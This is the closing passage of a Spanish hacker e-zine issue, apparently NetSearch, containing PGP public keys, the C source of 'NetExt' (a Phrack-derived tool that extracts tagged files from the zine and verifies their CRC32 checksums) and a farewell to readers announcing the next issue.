Y5W3tPsDWDJYplCgKnvaBUww+8BX3rHNj5Kbut0pP5H1E89aEe4OVDwpN3GjOjGw
VZwbiEYEGBECAAYFAjc56lAACgkQeTbhzFp9bDgLRQCfd05buQ2C3zFMnPF1hFRQ
dgjFtG0AoNt2amMVE3LJhvCkUW3KV70v3K3c
=kxFg
-----END PGP PUBLIC KEY BLOCK-----
<-->
- LLAVE PGP DE LSD-MT
<++> pgpkeys/lsd-mt.asc !c8ad08ff
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 6.0.2i
mQGiBDc10VERBADAHcYcRryTiE/k+/yMO7LeuN5bYhLa5MJwaPEyeYF8rq7GRl8K
XH711W6RavbguvCb5IvK8sz/j33WBZFcRcmieDUwbRAZG8a4GDgp53pK9IMMgFb2
hqSid6+n3AOj1vss87pfjTLHBdEl8lQTlf35mtOAp/kW3bTAD4Svy90HTwCg/5Zp
074nBVpQil6thSRpZs4l7t0D/RwZm0Mncz5LNxkjcXmSesa3izLcSiY8bWgmuV/u
YG0445Zg31Nlv89iVKSVt6d5Q3oK1f9H8I12DirSliin6ad3oYkiakFHIIu0Q7zZ
A1tQSxnUP7abLKXYmasfTj3v2mH8MGmYNDwxUqM8XXnahRPKe04w9y4KquZ55V46
hiR3A/9a697J6GQgy+jXYIzuuaLQYgbrYgZeJooEX61Wk7RwHy+p/r3n1ZzOyO+6
8fyl64A91OJVAD/RiYJ60adZSwbw2nXt8TSE7aHgXWsDaCbcpKQy7XM1En/1CnLR
l6tru20jZxGlGFOABaOan+nAagN6r6FH2aiwssD96Vve2CMfRbQVTHNEIDxkYWZv
QGFycmFraXMuZXM+iQBLBBARAgALBQI3NdFRBAsDAgEACgkQfnxNcZmK149aMgCg
/2YDU5fUDZ95pgPoght7XbhJC+QAoInbk7yyxj3U4wuT46Kq3y8S+EjluQINBDc1
0VEQCAD2Qle3CH8IF3KiutapQvMF6PlTETlPtvFuuUs4INoBp1ajFOmPQFXz0AfG
y0OplK33TGSGSfgMg71l6RfUodNQ+PVZX9x2Uk89PY3bzpnhV5JZzf24rnRPxfx2
vIPFRzBhznzJZv8V+bv9kV7HAarTW56NoKVyOtQa8L9GAFgr5fSI/VhOSdvNILSd
5JEHNmszbDgNRR0PfIizHHxbLY7288kjwEPwpVsYjY67VYy4XTjTNP18F1dDox0Y
bN4zISy1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWak
XUGfnHy9iUsiGSa6q6Jew1XpMgs7AAICB/9T3si4UJ5/IKb5QTISOzn1vkPoTz4U
OA0okQTmlc+Ytjl4nNUq3jCKvVUf6mMBYK1h/V9poQLgNL4age1xxgDiBcrHZ/TH
mfHMsRDtlzLibGV/9+mbqa33m5/PbbkBnZVi6GZruqQfGpeyLrcuIdpLdA9loplh
J4DGLXuLFzGdepsepQXcj8SkdjfIDfklEmnFGglqSnU2IzIbyeoOaw6tG6poHiHJ
luq61nzhFb+lqlYcV6oIlGKXSo8m9Yphvq2AQ8FaBjKC+dnjsj3N0qj+m70PqLcd
+rEg1F/mKsDnPu+iUG2RRLoBZpR8BB6RASnd7sGHwBq5U/VS0TT0kuhTiQBGBBgR
AgAGBQI3NdFRAAoJEH58TXGZiteP6WcAnj5bnpfuau+Yr7b++dhbVwV0LoMlAKC2
QvBSXofLRS9NLX4sPT0kZF99zQ==
=G8HO
-----END PGP PUBLIC KEY BLOCK-----
<-->
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+------------------------------+
| .oO Fuentes del NetExt Oo. |
+------------------------------+
Aqui teneis las fuentes del NetExt, que tal como os hemos explicado
antes, es una modificacion del extractor de la Phrack.
<++> utils/netext.c !5599b3e2
/* netext.c by (un monton de gente) + cafo
*
* Esta es una actualizacion del programa extract.c de phrack(r).
* La principal caracteristica que se ha aadido es que hace comprobacion
* de crc32 en aquellos archivos que presenten la posibilidad.
*
* gcc -o netext netext.c
*
* ./netext file1 file2 file3 ...
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <string.h>
#include <dirent.h>
#define BEGIN_TAG "<++> "
#define END_TAG "<-->"
#define BT_SIZE strlen(BEGIN_TAG)
#define ET_SIZE strlen(END_TAG)
struct f_name
{
u_char name[256];
struct f_name *next;
};
unsigned long crcTable[256];
void crcgen()
{
unsigned long crc, poly;
int i, j;
poly = 0xEDB88320L;
for (i=0; i<256; i++) {
crc = i;
for (j=8; j>0; j--) {
if (crc&1) {
crc = (crc >> 1) ^ poly;
}
else {
crc >>= 1;
}
}
crcTable[i] = crc;
}
}
unsigned long check_crc( FILE *fp )
{
register unsigned long crc;
int c;
crc = 0xFFFFFFFF;
while( (c=getc(fp)) != EOF ) {
crc = ((crc>>8) & 0x00FFFFFF) ^ crcTable[ (crc^c) & 0xFF ];
}
fseek(fp,0,SEEK_SET);
return( crc^0xFFFFFFFF );
}
int main(int argc, char **argv)
{
u_char b[256], *bp, *fn;
int i, j = 0, h_c = 0;
unsigned long crc=0, crc_f=0;
FILE *in_p, *out_p = NULL;
struct f_name *fn_p = NULL, *head = NULL;
if (argc < 2)
{
printf("Uso: %s archivo1 archivo2 ... archivon\n", argv[0]);
exit(0);
}
for (i = 1; (fn = argv[i++]); )
{
if (!head)
{
if (!(head = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(1);
}
strncpy(head->name, fn, sizeof(head->name));
head->next = NULL;
fn_p = head;
}
else
{
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(1);
}
fn_p = fn_p->next;
strncpy(fn_p->name, fn, sizeof(fn_p->name));
fn_p->next = NULL;
}
}
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(1);
}
fn_p = fn_p->next;
fn_p->next = NULL;
for (fn_p = head; fn_p->next; fn_p = fn_p->next)
{
if (!(in_p = fopen(fn_p->name, "r")))
{
fprintf(stderr, "No se puede abrir el archivo original %s.\n", fn_p-
>name);
continue;
}
else fprintf(stderr, "%s abierto\n", fn_p->name);
crcgen();
while (fgets(b, 256, in_p))
{
if (!strncmp (b, BEGIN_TAG, BT_SIZE))
{
b[strlen(b) - 1] = 0;
j++;
crc=0;
crc_f=0;
if ((bp = strchr(b + BT_SIZE + 1, '/')))
{
while (bp)
{
*bp = 0;
mkdir(b + BT_SIZE, 0700);
*bp = '/';
bp = strchr(bp + 1, '/');
}
}
if((bp=strchr(b,'!')))
{
crc_f=strtoul((b + (strlen(b)-strlen(bp)) + 1),NULL,16);
b[strlen(b) - strlen(bp) - 1 ]=0;
h_c=1;
}
else
h_c=0;
if ((out_p = fopen(b + BT_SIZE, "wb+")))
{
printf("- Extrayendo %s\n ", b + BT_SIZE);
}
else
{
printf("No se puede extraer '%s'.\n", b + BT_SIZE);
continue;
}
}
else if (!strncmp (b, END_TAG, ET_SIZE))
{
if (out_p)
{
if(h_c==1)
{
fseek(out_p,0l,0);
crc=check_crc(out_p);
if(crc==crc_f)
printf(" crc32 = %08lx ... comprobado\n "
,crc);
else
printf(" crc32 -> %08lx - %08lx no coinci
de!\n ",crc,crc_f);
}
fclose(out_p);
}
else
{
fprintf(stderr, "Error al cerrar el archivo %s.\n", fn_p->na
me);
continue;
}
}
else if (out_p)
{
fputs(b, out_p);
}
}
}
if (!j) printf("No se han encontrado etiquetas de extraccion.\n");
else printf("Extraidos %d archivo(s).\n", j);
return (0);
}
/* EOF */
<-->
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+---------------------+
| .oO Despedida Oo. |
+---------------------+
Por segunda vez volvemos a despedirnos de vosotros, espero que sea por
muchas mas ;) Esperamos que os haya gustado el contenido de este numero, y
de paso volvemos a pediros vuestra colaboracion. El proximo numero, como os
podeis imaginar ya, no tiene una fecha puntual de salida, pero mas o menos
saldra por mediados de septiembre, al inicio de las clases :) Esperemos
que para entonces ya hayamos pillado a SET en el reto del RC5 xD
Venga, nos vemos y... tened cuidado ahi fuera ;)
-NetSearch
-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-